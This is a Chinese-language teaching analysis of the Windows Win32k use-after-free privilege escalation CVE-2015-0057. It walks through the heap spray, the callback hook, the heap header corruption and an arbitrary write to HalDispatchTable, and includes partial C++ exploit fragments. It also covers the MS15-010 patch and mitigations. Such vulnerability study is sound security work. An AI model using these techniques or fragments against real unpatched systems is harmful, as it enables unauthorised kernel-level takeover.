【经典漏洞回顾】Microsoft Windows Win32k本地提权漏洞分析(CVE-2015-0057)
字数 2191 2025-08-18 17:33:28

Microsoft Windows Win32k本地提权漏洞分析(CVE-2015-0057)教学文档

一、漏洞概述

1.1 漏洞基本信息

  • 漏洞名称: Microsoft Windows Win32k Local Privilege Escalation Vulnerability
  • 漏洞编号: CVE-2015-0057
  • 漏洞类型: Use-After-Free (UAF)
  • 影响范围: 本地特权提升
  • CVSS评分: 7.2 (CVSS2.0)

1.2 受影响版本

  • Windows Server 2003 SP2
  • Windows Server 2008 SP2
  • Windows Server 2008 R2 SP1
  • Windows Vista SP2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows 7 SP1
  • Windows 8
  • Windows 8.1
  • Windows RT
  • Windows RT 8.1

1.3 漏洞组件

  • 漏洞组件: win32k.sys
  • 组件作用: Windows多用户管理的系统文件

二、漏洞背景知识

2.1 关键数据结构

2.1.1 tagWND结构

  • 位置: win32k.sys中的窗口对象结构
  • 关键偏移:
    • +0xA8: ppropList (tagPROPLIST指针)
    • +0xB0: pSBInfo (tagSBINFO指针)
    • +0xB8: spmenuSys (tagMENU指针)
    • +0xC0: spmenu (tagMENU指针)
    • +0xD8: strName (_LARGE_UNICODE_STRING)

2.1.2 tagSBINFO结构

  • 大小: 0x24字节
  • 位置: tagWND+0xB0
  • 作用: 滚动条信息结构

2.1.3 tagPROPLIST结构

  • 位置: tagWND+0xA8
  • 作用: 窗口属性列表

2.1.4 tagPROP结构

  • 作用: 窗口属性项

2.1.5 _LARGE_UNICODE_STRING

  • 位置: tagWND+0xD8
  • 初始化: 通过RtlInitLargeUnicodeString函数
  • 设置: 通过NtUserDefSetText设置tagWND的strName字段

2.1.6 tagMENU结构

  • 位置: tagWND+0xB8和tagWND+0xC0
  • 作用: 菜单对象

2.1.7 _HEAP_ENTRY

  • 大小: 0x10字节
  • 作用: 堆头结构
  • 关键字段:
    • +0x008: Size (2字节)
    • +0x00b: SmallTagIndex (1字节)
    • +0x00c: PreviousSize (2字节)

三、漏洞分析

3.1 漏洞函数

  • 漏洞函数: xxxEnableWndSBArrows
  • 漏洞原因: 在用户态回调期间未正确验证对象状态,导致UAF

3.2 漏洞利用流程

  1. 堆喷布局:

    • 通过堆喷将一段堆空间覆盖成大量tagWND+tagPROPLIST结构
    • 其中一块是tagWND+tagSBINFO结构
  2. 用户态回调:

    • 通过xxxDrawScrollBar触发用户态回调
    • 在回调中hook _ClientLoadLibrary函数
    • 释放自定义回调的tagWND
    • 通过setPROP重新申请内存
  3. 类型混淆:

    • 原tagSBINFO(0x28+0x8)变为tagPROPLIST+tagPROP(0x18+0x10+0x8)
    • 系统将cEntries由0x2改为0xe,导致缓冲区溢出
  4. 堆头覆盖:

    • 覆盖后续的_heap_entry结构
    • 修改堆块大小标识符,使后续tagMENU空间也被包含
    • 释放并重新分配,造成二次UAF
  5. 任意写:

    • 使用SetMenuItemInfoA修改rgItems字段实现任意写
    • 写入shellcode指针到HalDispatchTable+0x8位置
    • 通过ROP执行shellcode完成提权

3.3 补丁分析

补丁在xxxEnableWndSBArrows函数中增加了对rbx和rsi+0xb0值的比较验证,确保对象状态正确。

四、漏洞复现

4.1 环境准备

  • 操作系统: Windows 7 SP1 x86或Windows 8.1 x64
  • win32k.sys版本:
    • 6.1.7601.17514 (Win7)
    • 6.3.9600.17393 (Win8.1)

4.2 复现步骤

  1. 创建窗口
  2. 调用EnableScrollBar(参数为3)
  3. 调用CreateWindowExA
  4. 设置ShowWindow和UpdateWindow使窗口可见
  5. Hook _ClientLoadLibrary并DestroyWindow

五、EXP分析

5.1 关键代码片段

5.1.1 堆喷函数

BOOL SprayObject() {
    // 构建两个覆盖结构
    CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = {0};
    CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = {0};
    LARGE_UNICODE_STRING o1lstr, o2lstr;

    // 构建第一个覆盖
    memset(o1str, '\x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
    RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);

    // 构建第二个覆盖
    memset(o2str, '\x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
    *(DWORD*)o2str = 0x00000000;
    *(DWORD*)(o2str + 4) = 0x00000000;
    *(DWORD*)(o2str + 8) = 0x00010000 + OVERLAY2_SIZE;
    *(DWORD*)(o2str + 12) = 0x10000000 + ((OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE)/0x10);

    // 设置属性列表和菜单对象
    for(SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++) {
        SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
        
        if((i % 0x150) == 0) {
            NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr);
        }
        
        hmenutab[i] = CreateMenu();
        
        if((i % 0x150) == 0)
            NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
    }
    
    // 插入菜单项
    for(SHORT i = 0; i < MAX_OBJECTS - 0x20; i++) {
        MENUITEMINFOA mii;
        mii.cbSize = sizeof(MENUITEMINFO);
        mii.fMask = MIIM_ID;
        mii.wID = 0xBEEFBEEF;
        InsertMenuItemA(hmenutab[i], 0, TRUE, &mii);
    }
    
    return TRUE;
}

5.1.2 堆头破坏函数

VOID CorruptHeapHeader(PVOID menu_addr) {
    // 解码堆头
    ULONG_PTR xored_header = (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE;
    string decoded_header = XOR(string((CHAR*)xored_header, 16), xorKey);

    // 修改堆头大小和校验和
    CHAR* tmp_header = (CHAR*)decoded_header.c_str();
    tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE)/0x10;  // 新大小
    tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10];     // 新校验和

    // 重新编码并覆盖堆头
    string new_heap_header = XOR(decoded_header, xorKey);
    for(int i = 0; i < MAX_FAKE_OBJECTS; i++)
        SetPropA(spray_step_three[i], (LPCSTR)0x07, (HANDLE)*(ULONG_PTR*)(new_heap_header.c_str() + 8));
}

5.1.3 创建新菜单函数

VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr) {
    memset(new_objects, '\xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);
    memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE, 
           (CHAR*)menu_addr - _HEAP_BLOCK_SIZE, 
           MENU_SIZE + _HEAP_BLOCK_SIZE);

    // 修改_MENU.rgItems值
    *(ULONG_PTR*)(BYTE*)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;

    RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT)-1, OVERLAY1_SIZE + MENU_SIZE - 2);
}

六、防御措施

  1. 官方补丁: 应用Microsoft安全更新MS15-010
  2. 缓解措施:
    • 启用DEP(数据执行保护)
    • 启用ASLR(地址空间布局随机化)
    • 限制低权限用户的系统访问

七、参考资源

  1. MS15-010安全公告
  2. CVE-2015-0057 EXP
  3. 漏洞分析文章
  4. 技术细节分析
  5. Windows内核结构参考
Microsoft Windows Win32k本地提权漏洞分析(CVE-2015-0057)教学文档 一、漏洞概述 1.1 漏洞基本信息 漏洞名称 : Microsoft Windows Win32k Local Privilege Escalation Vulnerability 漏洞编号 : CVE-2015-0057 漏洞类型 : Use-After-Free (UAF) 影响范围 : 本地特权提升 CVSS评分 : 7.2 (CVSS2.0) 1.2 受影响版本 Windows Server 2003 SP2 Windows Server 2008 SP2 Windows Server 2008 R2 SP1 Windows Vista SP2 Windows Server 2012 Windows Server 2012 R2 Windows 7 SP1 Windows 8 Windows 8.1 Windows RT Windows RT 8.1 1.3 漏洞组件 漏洞组件 : win32k.sys 组件作用 : Windows多用户管理的系统文件 二、漏洞背景知识 2.1 关键数据结构 2.1.1 tagWND结构 位置 : win32k.sys中的窗口对象结构 关键偏移 : +0xA8: ppropList (tagPROPLIST指针) +0xB0: pSBInfo (tagSBINFO指针) +0xB8: spmenuSys (tagMENU指针) +0xC0: spmenu (tagMENU指针) +0xD8: strName (_ LARGE_ UNICODE_ STRING) 2.1.2 tagSBINFO结构 大小 : 0x24字节 位置 : tagWND+0xB0 作用 : 滚动条信息结构 2.1.3 tagPROPLIST结构 位置 : tagWND+0xA8 作用 : 窗口属性列表 2.1.4 tagPROP结构 作用 : 窗口属性项 2.1.5 _ LARGE_ UNICODE_ STRING 位置 : tagWND+0xD8 初始化 : 通过RtlInitLargeUnicodeString函数 设置 : 通过NtUserDefSetText设置tagWND的strName字段 2.1.6 tagMENU结构 位置 : tagWND+0xB8和tagWND+0xC0 作用 : 菜单对象 2.1.7 _ HEAP_ ENTRY 大小 : 0x10字节 作用 : 堆头结构 关键字段 : +0x008: Size (2字节) +0x00b: SmallTagIndex (1字节) +0x00c: PreviousSize (2字节) 三、漏洞分析 3.1 漏洞函数 漏洞函数 : xxxEnableWndSBArrows 漏洞原因 : 在用户态回调期间未正确验证对象状态,导致UAF 3.2 漏洞利用流程 堆喷布局 : 通过堆喷将一段堆空间覆盖成大量tagWND+tagPROPLIST结构 其中一块是tagWND+tagSBINFO结构 用户态回调 : 通过xxxDrawScrollBar触发用户态回调 在回调中hook _ ClientLoadLibrary函数 释放自定义回调的tagWND 通过setPROP重新申请内存 类型混淆 : 原tagSBINFO(0x28+0x8)变为tagPROPLIST+tagPROP(0x18+0x10+0x8) 系统将cEntries由0x2改为0xe,导致缓冲区溢出 堆头覆盖 : 覆盖后续的_ heap_ entry结构 修改堆块大小标识符,使后续tagMENU空间也被包含 释放并重新分配,造成二次UAF 任意写 : 使用SetMenuItemInfoA修改rgItems字段实现任意写 写入shellcode指针到HalDispatchTable+0x8位置 通过ROP执行shellcode完成提权 3.3 补丁分析 补丁在xxxEnableWndSBArrows函数中增加了对rbx和rsi+0xb0值的比较验证,确保对象状态正确。 四、漏洞复现 4.1 环境准备 操作系统 : Windows 7 SP1 x86或Windows 8.1 x64 win32k.sys版本 : 6.1.7601.17514 (Win7) 6.3.9600.17393 (Win8.1) 4.2 复现步骤 创建窗口 调用EnableScrollBar(参数为3) 调用CreateWindowExA 设置ShowWindow和UpdateWindow使窗口可见 Hook _ ClientLoadLibrary并DestroyWindow 五、EXP分析 5.1 关键代码片段 5.1.1 堆喷函数 5.1.2 堆头破坏函数 5.1.3 创建新菜单函数 六、防御措施 官方补丁 : 应用Microsoft安全更新MS15-010 缓解措施 : 启用DEP(数据执行保护) 启用ASLR(地址空间布局随机化) 限制低权限用户的系统访问 七、参考资源 MS15-010安全公告 CVE-2015-0057 EXP 漏洞分析文章 技术细节分析 Windows内核结构参考